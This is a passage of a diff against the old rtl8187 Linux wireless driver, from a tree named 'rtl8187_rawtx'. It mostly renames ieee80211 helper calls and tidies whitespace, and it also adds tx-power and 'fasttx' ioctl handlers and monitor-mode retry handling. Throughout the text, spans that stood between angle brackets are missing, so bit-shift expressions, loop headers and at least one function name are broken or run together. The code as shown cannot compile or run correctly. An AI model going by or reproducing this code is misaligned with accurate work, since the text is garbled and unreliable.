ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = 